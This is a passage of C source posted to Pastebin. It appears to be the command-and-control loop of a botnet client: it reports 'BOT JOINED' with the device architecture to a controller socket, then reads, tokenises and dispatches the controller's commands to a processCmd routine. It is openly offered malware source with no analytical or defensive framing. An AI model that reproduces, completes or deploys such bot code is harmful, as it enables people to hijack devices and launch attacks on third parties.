  1460.                 sockprintf(mainCommSock, "[\e[96mBOT JOINED\e[97m] Arch: \e[96m%s \e[97m|| Type: %s]", getBuild(), getEndianness());
  1461.                 UpdateNameSrvs();
  1462.                 char commBuf[4096];
  1463.                 int got = 0;
  1464.                 int i = 0;
  1465.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  1466.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1467.                                 unsigned int *newpids, on;
  1468.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1469.                                 pids[on - 1] = 0;
  1470.                                 numpids--;
  1471.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1472.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1473.                                 free(pids);
  1474.                                 pids = newpids;
  1475.                         }
  1476.                         commBuf[got] = 0x00;
  1477.                         trim(commBuf);
  1478.                         if(strstr(commBuf, "ICMP") == commBuf) { // ICMP
  1479.                                 continue;
  1480.                         }
  1481.                         if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  1482.                         unsigned char *message = commBuf;
  1483.                         if(*message == '!') {
  1484.                                 unsigned char *nickMask = message + 1;
  1485.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1486.                                 if(*nickMask == 0x00) continue;
  1487.                                 *(nickMask) = 0x00;
  1488.                                 nickMask = message + 1;
  1489.                                 message = message + strlen(nickMask) + 2;
  1490.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1491.                                 unsigned char *command = message;
  1492.                                 while(*message != ' ' && *message != 0x00) message++;
  1493.                                 *message = 0x00;
  1494.                                 message++;
  1495.                                 unsigned char *tmpcommand = command;
  1496.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1497.                                 unsigned char *params[10];
  1498.                                 int paramsCount = 1;
  1499.                                 unsigned char *pch = strtok(message, " ");
  1500.                                 params[0] = command;
  1501.                                 while(pch) {
  1502.                                         if(*pch != '\n') {
  1503.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1504.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1505.                                                 strcpy(params[paramsCount], pch);
  1506.                                                 paramsCount++;
  1507.                                         }
  1508.                                         pch = strtok(NULL, " ");
  1509.                                 }
  1510.                                 processCmd(paramsCount, params);
  1511.                                 if(paramsCount > 1) {
  1512.                                         int q = 1;
  1513.                                         for(q = 1; q < paramsCount; q++) {
  1514.                                                 free(params[q]);
  1515.                                         }
  1516.                                 }
  1517.                         }
  1518.                 }
  1519.         }
  1520.         return 0;
  1521.     }
  1522. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top